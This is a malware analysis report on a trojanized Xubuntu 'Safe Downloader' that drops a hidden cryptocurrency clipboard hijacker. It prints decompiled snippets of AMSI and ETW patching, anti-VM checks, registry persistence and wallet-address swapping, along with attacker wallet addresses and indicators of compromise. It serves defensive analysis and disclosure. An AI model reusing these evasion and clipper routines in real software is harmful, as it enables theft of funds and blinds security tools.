Users noticed that the xubuntu.org website was serving a .zip file instead of the expected .torrent files.
TL;DR: The malware is a simple two-stage cryptocurrency clipboard hijacker that monitors the Windows clipboard for cryptocurrency wallet addresses and replaces them with attacker-controlled addresses. The malware supports 7 different cryptocurrencies and employs multiple fairly standard anti-analysis and evasion techniques.
Key points:
- Two-stage deployment (.NET dropper → Native payload)
- User-triggered deployment (requires button click)
- Anti-debugging and anti-VM detection
- ETW/AMSI patching for security evasion
- 5-minute delayed activation for sandbox evasion
- Registry persistence
- Multi-cryptocurrency clipboard hijacking (Bitcoin, Ethereum, Litecoin, Dogecoin, Tron, Ripple, Cardano)
- String obfuscation (XOR encryption)
- Complete offline operation (no network IOCs)
1 Stage 1 — .NET dropper
1.1 Overview
The first stage is a .NET WPF application disguised as “TestCompany.SafeDownloader” - a fake Ubuntu/Xubuntu ISO download utility that serves as a delivery mechanism for the second stage payload.
1.2 Application Start
The application starts normally as a WPF GUI application and displays a legitimate-looking window titled “Xubuntu — Safe Downloader”.
The user is instructed to choose one of the available Xubuntu versions, the package type and to then click “Generate Link”. Clicking the “Generate Link” button triggers the deployment of the second stage in the background.
1.3 Deployment trigger mechanism
The excerpt below shows the event handler for the “Generate Link” button, where on line 28 you can see the call to W.UnPRslEqVw() which handles the stage 2 deployment.
1// MainWindow.xaml.cs:21-66 2private void BtnGenerate_Click(object sender, RoutedEventArgs e) 3{ 4 try { 5 // 1. Determine selected Xubuntu version 6 string url, version; 7 if (RbWin7.IsChecked) { 8 url = "https://releases.ubuntu.com/noble/xubuntu-24.04.3-desktop-amd64.iso"; 9 version = "Xubuntu 24.04.3 LTS – Noble Numbat";10 }11 else if (RbWin8.IsChecked) {12 url = "https://releases.ubuntu.com/25.10/xubuntu-25.10-desktop-amd64.iso";13 version = "Xubuntu 25.10 – Questing Quokka";14 }15 else {16 url = "https://releases.ubuntu.com/25.04/xubuntu-25.04-desktop-amd64.iso";17 version = "Xubuntu 25.04 – Plucky Puffin";18 }1920 // 2. Display legitimate Ubuntu ISO link21 TxtLink.Text = url;2223 // 3. Enable copy/open buttons24 BtnCopy.IsEnabled = true;25 BtnOpen.IsEnabled = true;2627 // 4. Deploy stage 228 W.UnPRslEqVw();29 }30 catch (Exception ex) {31 MessageBox.Show("Error while generating link:\n" + ex.Message,32 "Error", MessageBoxButton.OK, MessageBoxImage.Hand);33 }34}
1.4 Deployment of stage 2
Before deploying stage 2, stage 1 ensures it doesn’t deploy stage 2 multiple times:
1public static void UnPRslEqVw()2{3 if (W.alreadyExecuted) {4 return; // Exit immediately if already deployed5 }6 W.alreadyExecuted = true; // Set flag to prevent re-deployment
Next, there are anti-analysis checks:
1W.AntiAnalysis(); // Calls CheckDebugger() and IsVM()
These call Environment.Exit(0) if any of the Debugger.IsAttached and kernel32!IsDebuggerPresent return true or strings queried from the BIOS using System.Management.ManagementObjectSearcherfor Manufacturer or Model contain “microsoft corporation” and “virtual”, “vmware”, “virtualbox”, “qemu” or “parallels”.
If anti-analysis checks pass, the Antimalare Scanning Interface (AMSI) and Event Tracing for Windows (ETW) functionality is patched, to limit the ability of security products to monitor the program’s behavior:
1// (pseude-code) 2 3// Patch amsi.dll!AmsiScanBuffer 4LoadLibrary("amsi.dll"); 5GetProcAddress("AmsiScanBuffer"); 6VirtualProtect(PAGE_EXECUTE_READWRITE); 7// 0: 31 c0 xor eax,eax 8// 2: c3 ret 9WriteBytes([0x31, 0xc0, 0xc3]);1011// Patch ntdll.dll!EtwEventWrite12LoadLibrary("ntdll.dll");13GetProcAddress("EtwEventWrite");14VirtualProtect(PAGE_EXECUTE_READWRITE);15WriteBytes([0xC3]); // ret
Afterwards, if the file doesn’t exist, yet, the malware is deployed to %APPDATA%\osn10963\elzvcf.exe:
1string dir = "osn10963"; // Decoded from "mISZxsfOwcQ=" 2string file = "elzvcf.exe"; // Decoded from "kpuNgZSR2ZKPkg==" 3string fullPath = Path.Combine(Environment.GetFolderPath(ApplicationData), dir, file); 4 5if (!File.Exists(fullPath)) { 6 // 1. Create directory 7 CreateDirectoryNative(%APPDATA%\osn10963); 8 9 // 2. Write Stage 2 payload to .tmp file10 WriteFileNative(elzvcf.tmp, [Stage2_PE_bytes]);1112 // 3. Set HIDDEN attribute13 SetAttributesNative(elzvcf.tmp, FILE_ATTRIBUTE_HIDDEN);1415 // 4. Rename .tmp → .exe16 MoveFileNative(elzvcf.tmp, elzvcf.exe);1718 // 5. Set HIDDEN attribute19 SetAttributesNative(elzvcf.exe, FILE_ATTRIBUTE_HIDDEN);20 SetAttributesNative(osn10963, FILE_ATTRIBUTE_HIDDEN);2122 // 6. Random delay (1-3 seconds)23 NativeDelay(Random.Next(1, 3));2425 // 7. Registry persistence26 SetRegistryPersistence(%APPDATA%\osn10963\elzvcf.exe,27 "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run");28}
Finally, if the process isn’t already running, it is launched:
1if (W.IsAlreadyRunning(text6)) {2 return; // Exit if Stage 2 already running3}
1W.ExecuteNative(text6); // Launch %APPDATA%\osn10963\elzvcf.exe
ExecuteNative is slightly obfuscated, it decodes "9/f3/w==", xors it with 247 and then interprets it as the number 0x08000000, which is the CREATE_NO_WINDOW flag.
1.5 Stage 1 Summary
In summary, the user is presented with a somewhat convincing Ubuntu ISO download UI. Stage 2 of the malware is only executed if the user presses the “Generate Link” button and several anti-analysis checks pass. The malware hides its stage 2 executable and installs a registry run key for persistence.
2 Stage 2 — Crypto clipper
The second stage is a native x64 Windows executable that monitors the clipboard and replaces any cryptocurrency address it detects with an attacker-controlled address.
2.1 Entry point
The entry point is _start at 0x140001000. Using the mutex Global\{D69FE10A-B163-68I2I7-6I7B0-3A9I2386F6393}, it checks whether the program is already running:
1NtCreateMutant(&handle, 0x1f0001, &attributes, 1)2if (status == 0xc0000035) // STATUS_OBJECT_NAME_COLLISION3 ExitProcess(0);
Next, it tries to detect debuggers and virtual machines:
1NtQuerySystemTime(&start_time);2NtDelayExecution(0, -10000000); // 1 second3NtQuerySystemTime(&end_time);4if ((end_time - start_time) < 9000000) // Less than 0.9 seconds5 ExitProcess(0);
Next, it calls sub_140001580(), which is meant to take some time to compute:
1// 0x140001580 2double sub_140001580() 3{ 4 double result = 3.1415926535897931; 5 double _X = result; 6 7 for (int32_t i = 0; i < 1000; i += 1) 8 { 9 result = tan(log(_X) * pow(_X, 2.0));10 _X = result;11 }1213 return result;14}
I think it was meant to be part of an anti-analysis check, but I don’t see a check for the system time after the call to sub_140001580(). Afterwards, it looks for a debugger and checks for a hypervisor using CPUID:
1if (IsDebuggerPresent())2 // Anti-debug detected34__cpuid(1, 0)5if (cpuid_result < 0) // Hypervisor bit check6 // VM detected
The address of RegOpenKeyExA is made writable using NtProtectVirtualMemory, but nothing seems to be done to it afterwards:
1 FARPROC reg_func = RegOpenKeyExA; 2 SIZE_T size = 8; 3 DWORD old_protect; 4 5 NtProtectVirtualMemory(GetCurrentProcess(), 6 ®_func, 7 &size, 8 PAGE_EXECUTE_READWRITE, 9 &old_protect);
Next, it also patches ETW to disable event tracing, just like the first stage did:
1EtwEventWrite_ptr = GetProcAddress(ntdll, "EtwEventWrite");2NtProtectVirtualMemory(CurrentProcess, &EtwEventWrite_ptr, 4, PAGE_EXECUTE_READWRITE, &old_protect);3*EtwEventWrite_ptr = 0xC3; // RET instruction4NtProtectVirtualMemory(CurrentProcess, &EtwEventWrite_ptr, 4, old_protect, &old_protect);
2.2 Clipboard monitoring
Still in _start, the program initializes a hidden message-only window to receive clipboard update notifications:
1WNDCLASSEXA wndClass; 2wndClass.cbSize = 0x50; 3wndClass.style = 0; 4wndClass.lpfnWndProc = sub_1400014a0; // Message handler 5wndClass.lpszClassName = "User3I"; // Obfuscated: "@fpg&'" XOR 0x15 6 7RegisterClassExA(&wndClass); 8HWND hwnd = CreateWindowExA(WS_EX_LEFT, "User3I", NULL, WS_OVERLAPPED, 9 0, 0, 0, 0, HWND_MESSAGE, NULL, hInstance, NULL);10AddClipboardFormatListener(hwnd); // Register for clipboard notifications
sub_1400014a0 handles clipboard updates:
1if (message == WM_CLIPBOARDUPDATE) { 2 validate_pe_checksum(); 3 NtQuerySystemTime(¤t_time); 4 5 // Only process clipboard every 5 minutes (300 seconds) 6 if (current_time - last_system_time > 0x11e1a300) { // 300,000,000 * 100ns = 5 min 7 // Perform anti-debug checks 8 if (!IsDebuggerPresent() && !(__cpuid() & HYPERVISOR_BIT)) { 9 process_clipboard_crypto_address(); // sub_1400016b010 }11 }12}
2.3 Clipboard processing Logic
process_clipboard_crypto_address() (sub_1400016b0) handles processing of the clipboard data. First, it checks if clipboard contains text (CF_TEXT or CF_UNICODETEXT), before opening the clipboard and getting the data. It validates address length (25-80 characters) and format (alphanumeric with : or _) and then detects the cryptocurrency type and decrypting the corresponding attacker-controlled address by XORing the obfuscated address with 0x15:
1// Bitcoin 2if ((address[0] - 0x31) & 0xFD == 0 || strncmp(address, "bc1", 3) == 0) 3 // replace with bc1qrzh7d0yy8c3arqxc23twkjujxxaxcm08uqh60v 4// Ethereum 5if (strncmp(address, "0x", 2) == 0) 6 // replace with 0x10A8B2e2790879FFCdE514DdE615b4732312252D 7// Litecoin 8if (strncmp(address, "ltc1", 4) == 0 || (address[0] - 0x4C) <= 1) 9 // replace with LQ4B4aJqUH92BgtDseWxiCRn45Q8eHzTkH10// Dogecoin11if (address[0] == 'D')12 // replace with DQzrwvUJTXBxAbYiynzACLntrY4i9mMs7D13// Tron14if (address[0] == 'T')15 // replace with TW93HYbyptRYsXj1rkHWyVUpps2anK12hg`16// Ripple17if (address[0] == 'r')18 // replace with r9vQFVwRxSkpFavwA9HefPFkWaWBQxy4pU19// Cardano20if (strncmp(address, "addr1", 5) == 0)21 // replace with addr1q9atfml5cew4hx0z09xu7mj7fazv445z4xyr5gtqh6c9p4r6knhlf3jatwv7y72deah9un6yettg92vg8gskp04s2r2qren6tw
2.3.1 String decryption
xor_decrypt_buffer() (at 0x140001ef0, but also inlined into process_clipboard_crypto_address) applies XOR decryption with key 0x15 to decrypt the obfuscated cryptocurrency addresses:
Algorithm:
1char* xor_decrypt_buffer(char* input, size_t length) {2 for (size_t i = 0; i < length; i++) {3 output[i] = input[i] ^ 0x15;4 }5 output[length] = 0;6 return output_buffer;7}
2.4 Self-protection
The malware also frequently validates its own PE checksum to detect modifications. This is done in sub_140001db0:
1bool validate_pe_checksum() 2{ 3 IMAGE_DOS_HEADER* module_base = GetModuleHandleA(nullptr); 4 5 if (!module_base || module_base->e_magic != 0x5a4d) 6 return false; 7 8 IMAGE_NT_HEADERS64* pe_header = (IMAGE_NT_HEADERS64*)((uint8_t*)module_base + module_base->e_lfanew); 9 10 if (pe_header->Signature != 0x4550)11 return false;12 13 // Calculate checksum14 uint32_t size = pe_header->OptionalHeader.SizeOfCode;15 uint8_t* data = (uint8_t*)pe_header->OptionalHeader.ImageBase;16 uint32_t checksum = 0;17 18 for (int32_t i = 0; i < size; i++)19 {20 checksum += data[i];21 }22 23 // Verify checksum24 uint32_t expected = pe_header->OptionalHeader.CheckSum;25 if (expected != 0 && checksum != expected)26 {27 // Anti-debugging delay loop28 for (int32_t i = 0; i < 100000; i++)29 {30 // Busy wait31 }32 return false;33 }34 35 return true;36}
3 IOCs
- Hashes
- TestCompany.SafeDownloader.exe
- md5: 98ade2e1c710dde70cd156d541515dcf
- sha256: ec3a45882d8734fcff4a0b8654d702c6de8834b6532b821c083c1591a0217826
- elzvcf.exe
- md5: efecd49bf2acdc0b15b492fd48024a5d
- sha256: afaebc6cf20f32ea0644f69c511a5da12f3b860f7d13b18500051830337965d7
- TestCompany.SafeDownloader.exe
- Files
%APPDATA%\osn10963\elzvcf.exe%APPDATA%\osn10963\elzvcf.tmp(temporary)
- Registry Entry:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<random-6-chars>=%APPDATA%\osn10963\elzvcf.exe - Mutex:
Global\{D69FE10A-B163-68I2I7-6I7B0-3A9I2386F6393} - Window Class:
User3I
4 Remediation
- Kill malicious process (elzvcf.exe)
- Remove
%APPDATA%\osn10963\directory - Delete registry persistence entry